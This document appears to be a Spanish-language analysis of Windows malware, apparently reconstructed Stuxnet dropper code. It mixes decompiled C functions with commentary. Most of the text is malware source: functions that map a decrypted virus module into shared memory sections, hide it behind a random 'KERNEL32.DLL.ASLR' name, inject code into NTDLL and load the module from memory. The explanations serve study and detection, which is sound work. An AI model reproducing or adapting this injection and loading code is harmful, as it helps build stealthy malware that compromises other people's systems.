#include "6. MemorySections.h"
#include "4. Encoding.h"
#include "5. Utils.h"
#include "7. AssemblyBlock0.h"
#include "8. AssemblyBlock1.h"
#include "9. AssemblyBlock2.h"
#include "A. EncodingAlgorithms.h"
#include "C. CodeBlock.h"
#include "config.h"
#include "define.h"
// Create the shared section, copy the content
// of pUnknownSegment and the decrypted module
// 95% (C) CODE MATCH
Este virus fue desarrollado en el lenguaje C, utilizaremos el siguiente fragmento de código, de este poderoso y peligro virus informático, para realizarle su análisis respectivo:
6. MemorySections.h: Define estructuras relacionadas con las secciones de memoria del sistema.
4. Encoding.h: Contiene funciones para codificar y decodificar datos, posiblemente para esconder el código del virus.
5. Utils.h: Proporciona funciones generales para diversas tareas del virus.
7. AssemblyBlock0.h, 8. AssemblyBlock1.h, 9. AssemblyBlock2.h: Definen diferentes secciones de código ensamblador que el virus inyecta en el sistema.
A. EncodingAlgorithms.h: Contiene algoritmos específicos de codificación / decodificación utilizados por el virus.
C. CodeBlock.h: Define una estructura de datos para representar bloques de código.
config.h y define.h: Almacenan configuraciones y contraseñas utilizadas en el código del virus.
INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVOID pVirusModule, INT32 pVirusModuleSize, INT32 iExecEntryNumber, PVOID pUnknownSegment, DWORD pUnknownSegmentSize, PVOID *ppModuleBlock)
{
HANDLE hMapHandle; // [sp+4h] [bp-28h]@1
PVOID pVirusImageBase; // [sp+8h] [bp-24h]@3
PIMAGE_NT_HEADERS pImageNT; // [sp+Ch] [bp-20h]@6
INT32 iSectionPointer; // [sp+10h] [bp-1Ch]@1
PVOID pLocalReg; // [sp+14h] [bp-18h]@1
PIMAGE_DOS_HEADER pImageDOS; // [sp+18h] [bp-14h]@3
UINT32 iSectionsSize; // [sp+1Ch] [bp-10h]@1
PVOID pRemoteReg; // [sp+20h] [bp-Ch]@1
PVIRUS_MODULE_BLOCKS_HEADER sVirusModuleBlocksHeader; // [sp+24h] [bp-8h]@3
INT32 nRet; // [sp+28h] [bp-4h]@1
pLocalReg = 0;
pRemoteReg = 0;
iSectionPointer = 0;
iSectionsSize = sizeof(VIRUS_MODULE_BLOCKS_HEADER) + pUnknownSegmentSize + pVirusModuleSize;
// Here we create a shared MapOfView between the current process and the HANDLE at hHandle
nRet = SharedMapViewOfSection(hHandle, iSectionsSize, &hMapHandle, &pLocalReg, &pRemoteReg);
HAS_FAILED(nRet, nRet)
// First part of the section dedicated to the VIRUS_MODULE_BLOCKS_HEADER
sVirusModuleBlocksHeader = (PVIRUS_MODULE_BLOCKS_HEADER)pLocalReg;
pLocalReg = (LPVOID)((DWORD)pLocalReg + sizeof(VIRUS_MODULE_BLOCKS_HEADER));
iSectionPointer = sizeof(VIRUS_MODULE_BLOCKS_HEADER);
// Copy the content of pUnknownSegment into the shared section
CopySegmentIntoSections(&pLocalReg, pRemoteReg, &iSectionPointer, &sVirusModuleBlocksHeader->UnknownSegment, pUnknownSegment, pUnknownSegmentSize);
pVirusImageBase = pLocalReg;
// Copy the decrypted module into into the shared section
CopySegmentIntoSections(&pLocalReg, pRemoteReg, &iSectionPointer, &sVirusModuleBlocksHeader->VirusModuleSegment, pVirusModule, pVirusModuleSize);
pImageDOS = (PIMAGE_DOS_HEADER)pVirusImageBase;
// Check the memory copied (len >= 0x1000), MZ header etc.
if((UINT32)pVirusModuleSize >= 0x1000 &&
pImageDOS->e_magic == MZ_HEADER &&
pImageDOS->e_lfanew + sizeof(IMAGE_OPTIONAL_HEADER) + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD) < (UINT32)pVirusModuleSize) // (UINT32 *)pImageDOS[15] + 248 -> Section ".text"
{
// Check the "Delay Import Directory Size" and change it, not sure why
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusImageBase + pImageDOS->e_lfanew);
if(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size == 72)
pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size = 64; // Change Delay Import Directory Size
}
// Copy the sInfoBlock
__memcpy(&sVirusModuleBlocksHeader->InformationBlock, sInfoBlock, sizeof(GENERAL_INFO_BLOCK));
// Copy the entrypoint of the module
sVirusModuleBlocksHeader->LibraryExecuteEntryNumber = iExecEntryNumber;
sVirusModuleBlocksHeader->VirusModulePointer = 0;
// Copy the pointer to the module block (section) just created
*ppModuleBlock = pRemoteReg;
// Close all and return
_F(UnmapViewOfFile)(sVirusModuleBlocksHeader);
_F(ZwClose)(hMapHandle);
return 0;
}
Función LoadVirusModuleSection:
Esta función se encarga de cargar un modulo del virus en la memoria del sistema objetivo.
Parámetros:
hHandle: Un identificador para una sección de memoria existente.
sInfoBlock: Un puntero a un estructura de datos que contiene información general sobre el módulo del virus.
pVirusModule: Un puntero al código del módulo del virus decifrado.
pVirusModuleSize: Tamaño del código del módulo del virus descifrado en bytes.
iExecEntryNumber: El índice de la función de punto de entrada dentro del módulo del virus.
pUnknownSegment: Un puntero a otro segmento de código.
pUnknownSegmentSize: Tamaño del código del segmento desconocido en bytes.
ppModuleBlock: Un puntero a una variable que almacenará la dirección del módulo del virus cargado en la memoria.
Pasos de la función:
Inicialización: Establece variables locales para punteros y contadores.
Mapeo de memoria compartida: Crea una sección de memoria compartida utilizando SharedMapViewOfSection. Esta sección contendrá tanto el módulo del virus como el segmento desconocido.
Estructura del encabezado: Configura una estructura (VIRUS_MODULE_BLOCKS_HEADER) al comienzo de la sección de memoria compartida. Esta estructura probablemente contiene información sobre los módulos cargados.
Copia del segmento desconocido: Copia el código del segmento desconocido en la sección de memoria compartida usando CopySegmentIntoSections.
Copia del módulo del virus: Copia el código del módulo del virus descifrado en la sección de memoria compartida después del segmento desconocido.
Validación del encabezado de la imagen: Realiza comprobaciones básicas en el módulo del virus copiado, incluyendo el tamaño y el número mágico del encabezado (MZ_HEADER). También comprueba el desplazamiento de la sección ".text" dentro del encabezado del módulo.
Modificación de la importación diferida: Si se cumple una condición específica (relacionada con el "Tamaño del directorio de importación diferida"), la función modifica un valor dentro del encabezado del módulo del virus (posiblemente para eludir medidas de seguridad).
Copia del bloque de información: Copia la estructura sInfoBlock proporcionada en la sección de memoria compartida, probablemente almacenando información adicional sobre el módulo del virus.
Asignación del punto de entrada y del puntero: Establece el campo LibraryExecuteEntryNumber en el encabezado en el índice de la función de punto de entrada y establece un puntero al módulo del virus cargado en la memoria (*ppModuleBlock).
Limpieza y retorno: Desasigna la vista de memoria compartida y cierra el identificador, luego devuelve 0 (presumiblemente indicando éxito).
Declaración de variables:
pVirusModule: Un manejador para el módulo del virus.
hMappedAddress: Un manejador para la dirección de memoria mapeada.
iResult: Una variable para almacenar el resultado de las operaciones.
pHardAddrs: Un puntero a la estructura HARDCODED_ADDRESSES que contiene direcciones de memoria codificadas.
sInfoBlockCopy: Una copia de la estructura GENERAL_INFO_BLOCK que contiene información sobre el bloque de código.
Copia de la información:
memcpy(&sInfoBlockCopy, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)): Copia la información de la estructura sInfoBlock a sInfoBlockCopy.
Manipulación de direcciones:
sInfoBlockCopy.OriginalAddress ^= X_PTR_KEY: Realiza una operación XOR para obtener la dirección original de la variable sInfoBlock.
Carga del módulo del virus:
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)sVirusModuleBlocksHeader->VirusModuleSegment.SegmentAddress, sVirusModuleBlocksHeader->VirusModuleSegment.SegmentSize): Llama a la función BLOCK4_LoadVirusModuleInfo para cargar la información del módulo del virus. Si hay algún error, retorna el código de error.
Inyección de código en NTDLL:
if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) return -4: Llama a la función BLOCK4_InjectCodeIntoNTDLL para inyectar código en la biblioteca NTDLL. Si hay algún error, retorna el código de error -4.
Carga de la biblioteca desde la memoria:
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName): Llama a la función LoadLibraryW utilizando las direcciones codificadas de pHardAddrs para cargar una biblioteca especificada en sInfoBlockCopy.RandomLibraryName. Si la carga falla, retorna el código de error -9.
Manipulación de la dirección mapeada:
if(sInfoBlockCopy.MappedAddress) {...}: Verifica si hay una dirección mapeada en sInfoBlockCopy. Si es así, se realiza una serie de acciones, incluyendo la restauración de MappedAddress y el cierre del manejador.
Retorno:
Retorna 0 si todas las operaciones son exitosas, de lo contrario, retorna el código de error correspondiente.
// 96% (C) CODE MATCH
INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MODULE_BLOCKS_HEADER sVirusModuleBlocksHeader, PGENERAL_INFO_BLOCK sInfoBlock)
{
HMODULE pVirusModule; // [sp+0h] [bp-90h]@5
HANDLE hMappedAddress; // [sp+4h] [bp-8Ch]@7
INT32 iResult; // [sp+8h] [bp-88h]@1
PHARDCODED_ADDRESSES pHardAddrs; // [sp+Ch] [bp-84h]@1
GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+10h] [bp-80h]@1
__memcpy(&sInfoBlockCopy, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); // Copy the information
sInfoBlockCopy.OriginalAddress ^= X_PTR_KEY; // Get the original address of the variable sInfoBlock
sInfoBlockCopy.UnknownZero0 = 0;
// Point to the first block of assembly in the section
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)sVirusModuleBlocksHeader->VirusModuleSegment.SegmentAddress, sVirusModuleBlocksHeader->VirusModuleSegment.SegmentSize);
if(iResult) return iResult;
if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) return -4;
/* Load library from the memory */
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName);
if(!pVirusModule) return -9;
sVirusModuleBlocksHeader->VirusModulePointer = pVirusModule;
hMappedAddress = sInfoBlockCopy.MappedAddress;
if(sInfoBlockCopy.MappedAddress)
{
sInfoBlockCopy.MappedAddress = 0;
pHardAddrs->ZwClose(hMappedAddress);
}
return 0;
}
// 100% (C) CODE MATCH
DWORD GetCodeBlockSize(void)
{
return _SIZE(BLOCK4_END, BLOCK4_InjectAndExecuteVirus);
}
// 100% (C) CODE MATCH
DWORD GetCodeBlock(void)
{
return (DWORD)BLOCK4_InjectAndExecuteVirus;
}
// 100% (C) CODE MATCH
DWORD GetRelativeExecuteLibraryPointer(void)
{
return _SIZE(BLOCK4_ExecuteLibrary, BLOCK4_InjectAndExecuteVirus);
}
// 100% (C) CODE MATCH
UINT32 GetRelativeAlignAddressesPointer(void)
{
return _SIZE(BLOCK4_AlignAddresses, BLOCK4_InjectAndExecuteVirus);
}
GetCodeBlockSize():
Esta función devuelve el tamaño del bloque de código que contiene el código para inyectar y ejecutar el virus en el sistema comprometido.
La función _SIZE() probablemente sea una macro o una función definida en otro lugar en el código. Su objetivo es calcular el tamaño del bloque de código entre BLOCK4_END y BLOCK4_InjectAndExecuteVirus. Esto sugiere que BLOCK4_END y BLOCK4_InjectAndExecuteVirus son etiquetas o direcciones de memoria en el código del virus.
GetCodeBlock():
Esta función devuelve la dirección del bloque de código BLOCK4_InjectAndExecuteVirus. Es probable que esta dirección sea utilizada posteriormente para ejecutar el código del virus en el sistema comprometido.
GetRelativeExecuteLibraryPointer():
Esta función devuelve un desplazamiento relativo entre BLOCK4_ExecuteLibrary y BLOCK4_InjectAndExecuteVirus. Este desplazamiento puede ser utilizado para calcular la dirección de la función ExecuteLibrary desde BLOCK4_InjectAndExecuteVirus
GetRelativeAlignAddressesPointer():
Similar a la función anterior, esta función devuelve un desplazamiento relativo entre BLOCK4_AlignAddresses y BLOCK4_InjectAndExecuteVirus. Este desplazamiento puede ser utilizado para calcular la dirección de la función AlignAddresses desde BLOCK4_InjectAndExecuteVirus.
Función:
La función LoadCodeSection carga múltiples bloques de código en una sección de memoria compartida. Los organiza en un orden específico y establece enlaces entre ellos.
Pasos clave:
Cálculo de tamaños:
Se determina el tamaño del bloque de código usando GetCodeBlockSize().
Se calcula el tamaño total necesario para la sección compartida.
Creación de la sección compartida:
Se utiliza SharedMapViewOfSection() para crear una sección de memoria compartida.
Se asigna una vista de esta sección tanto en la memoria local como en la remota.
Relleno del encabezado:
Se crea una estructura de encabezado (ASM_CODE_BLOCKS_HEADER) en la sección compartida.
Copia de bloques ASM:
Se copian tres bloques de código ASM en la sección compartida:
__ASM_BLOCK1_0
__ASM_BLOCK0_0
Bloque de código principal (obtenido a través de GetCodeBlock())
Establecimiento de direcciones de funciones:
Se almacenan las direcciones de las funciones clave (ExecuteLibrary, AlignAddresses) dentro del encabezado.
Referencias a las direcciones de los bloques:
Se almacena la dirección de __ASM_REF_3 dentro del segundo bloque (__ASM_BLOCK0_1).
Proporción de punteros:
Se establecen los punteros ppCodeBlock y ppASMBlock en los segmentos apropiados dentro de la sección compartida.
Limpieza:
Se desasigna la sección compartida de la memoria.
Se cierra el handle asociado a la sección compartida.
Consideraciones para la depuración:
Definiciones que faltan:
GetCodeBlockSize(), _SIZE(), SharedMapViewOfSection(), HAS_FAILED(), CopySegmentIntoSections(), GetCodeBlock(), GetRelativeExecuteLibraryPointer(), GetRelativeAlignAddressesPointer(), _F(), UnmapViewOfFile(), ZwClose(), __ASM_BLOCK1_0, __ASM_BLOCK0_0, DecodeModuleNameA, __ASM_REF_3
Contexto poco claro:
Se desconoce el propósito de los bloques de código y sus interacciones previstas.
Posibles problemas:
Falta de manejo de errores para posibles fallos.
Llamadas a funciones con nombres indefinidos.
Dependencia de definiciones y estructuras externas.
// 85% (C) CODE MATCH -> NEED DEBUG
INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *ppCodeBlock, PVOID *ppASMBlock)
{
PVOID pCodeBlock; // eax@3
HANDLE hMapHandle; // [sp+8h] [bp-28h]@1
INT32 iASMBlock1Pointer; // [sp+Ch] [bp-24h]@3
DWORD *v9; // [sp+10h] [bp-20h]@3
INT32 iSectionPointer; // [sp+14h] [bp-1Ch]@1
PVOID pLocal; // [sp+18h] [bp-18h]@1
UINT32 iSectionsSize; // [sp+1Ch] [bp-14h]@1
PVOID pRemote; // [sp+20h] [bp-10h]@1
PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader; // [sp+24h] [bp-Ch]@3
UINT32 iCodeBlockSize; // [sp+28h] [bp-8h]@1
INT32 nRet; // [sp+2Ch] [bp-4h]@1
pLocal = 0;
pRemote = 0;
iCodeBlockSize = GetCodeBlockSize(); // [0xB3A] (2874)
iSectionsSize = sizeof(ASM_CODE_BLOCKS_HEADER) + _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0) + _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0) + iCodeBlockSize;
iSectionPointer = 0;
// Create the shared section
nRet = SharedMapViewOfSection(hHandle, iSectionsSize, &hMapHandle, &pLocal, &pRemote);
HAS_FAILED(nRet, nRet)
// First part of the section dedicated to the ASM_CODE_BLOCKS_HEADER
sASMCodeBlocksHeader = (PASM_CODE_BLOCKS_HEADER)pLocal;
pLocal = (LPVOID)((DWORD)pLocal + sizeof(ASM_CODE_BLOCKS_HEADER));
iSectionPointer = sizeof(ASM_CODE_BLOCKS_HEADER);
// Copy the 1st block of ASM code into the shared section
CopySegmentIntoSections(&pLocal, pRemote, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock1Segment, __ASM_BLOCK1_0, _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0));
iASMBlock1Pointer = iSectionPointer;
// Copy the 2nd block of ASM code into the shared section
CopySegmentIntoSections(&pLocal, pRemote, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock0Segment, __ASM_BLOCK0_0, _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0));
pCodeBlock = (PVOID)GetCodeBlock();
// Copy the 3st block of ASM code into the shared section
CopySegmentIntoSections(&pLocal, pRemote, &iSectionPointer, &sASMCodeBlocksHeader->CodeBlockSegment, pCodeBlock, iCodeBlockSize);
// Copy the address of __ASM_REF_3 in the __ASM_BLOCK0_1
v9 = (DWORD *)((DWORD)sASMCodeBlocksHeader + iASMBlock1Pointer + _SIZE(__ASM_BLOCK0_1, __ASM_BLOCK0_0));
*v9 = (DWORD)sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(__ASM_REF_3, __ASM_BLOCK1_0);
// Put function address into the memory map
sASMCodeBlocksHeader->ExecuteLibrary = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeExecuteLibraryPointer();
sASMCodeBlocksHeader->AlignAddresses = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeAlignAddressesPointer();
sASMCodeBlocksHeader->VirusModuleSection = (DWORD)pVirusModuleSection;
// Put the values in the pointers
*ppCodeBlock = (PVOID)sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress;
*ppASMBlock = pRemote;
// Close all and return
_F(UnmapViewOfFile)(sASMCodeBlocksHeader);
_F(ZwClose)(hMapHandle);
return 0;
}
static BOOL bSetupMode = TRUE;
static PVOID s_ASMCodeBlocksPTR = NULL;
static PVOID s_virusBlocksPTR = NULL;
static PVOID s_codeBlockPTR = NULL;
// 98% (C) CODE MATCH
INT32 Setup(LPCWSTR szDebugModuleName, PVOID pVirusModule, DWORD iVirusModuleSize, HMODULE *hVirusModule)
{
INT32 nRet;
GENERAL_INFO_BLOCK sInfoBlock;
// Get a random module name with the format "KERNEL32.DLL.ASLR.XXXXXXXX"
if(GetRandomModuleName(&sInfoBlock, szDebugModuleName) != 0)
return 0;
// Decrypt the Kernel32's and NTDLL's function names
if(bSetupMode && DecodeEncryptedModuleNames() == FALSE)
return -12;
// Create the shared section and copy the data
nRet = LoadVirusModuleSection(GetCurrentProcess(), &sInfoBlock, pVirusModule, iVirusModuleSize, -1, NULL, 0, &s_virusBlocksPTR);
HAS_FAILED(nRet, nRet)
// If it is still in setup mode load the code
if(bSetupMode)
{
// Create the shared section and copy the code
nRet = LoadCodeSection(GetCurrentProcess(), s_virusBlocksPTR, &s_codeBlockPTR, &s_ASMCodeBlocksPTR);
HAS_FAILED(nRet, nRet)
bSetupMode = FALSE;
}
// Unknown
nRet = LoadAndInjectVirus((PASM_CODE_BLOCKS_HEADER)s_ASMCodeBlocksPTR, (PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR, &sInfoBlock);
if(!nRet)
*hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer;
_F(UnmapViewOfFile)(s_virusBlocksPTR);
return nRet;
}
Propósito:
Prepara un entorno para ejecutar código malicioso.
Oculta su presencia mediante nombres de módulo aleatorios y descifrado de funciones.
Carga código y datos maliciosos en la memoria.
Inyecta el código malicioso en un proceso objetivo.
Pasos clave:
Genera un nombre de módulo aleatorio:
Usa GetRandomModuleName para obtener un nombre con formato "KERNEL32.DLL.ASLR.XXXXXXXX".
Descifra nombres de funciones:
Si está en modo de configuración (bSetupMode), utiliza DecodeEncryptedModuleNames para descifrar nombres de funciones de Kernel32 y NTDLL.
Carga la sección de datos del módulo maligno:
Llama a LoadVirusModuleSection para crear una sección compartida y copiar los datos del módulo malicioso.
Carga la sección de código (opcional):
Si está en modo de configuración, llama a LoadCodeSection para crear otra sección compartida y copiar el código malicioso.
Cambia bSetupMode a FALSE para indicar que la configuración ha terminado.
Inyecta el código maligno:
Llama a LoadAndInjectVirus (función desconocida) para inyectar el código malicioso en un proceso objetivo.
Proporciona un handle al módulo maligno:
Si la inyección tiene éxito, devuelve un handle (HMODULE) al módulo malicioso cargado.
Libera memoria:
Desmapea la sección compartida que contiene los datos del módulo maligno.
Preocupación:
Comportamiento sospechoso: El código utiliza técnicas comúnmente empleadas por malware para evadir la detección y ocultar sus actividades.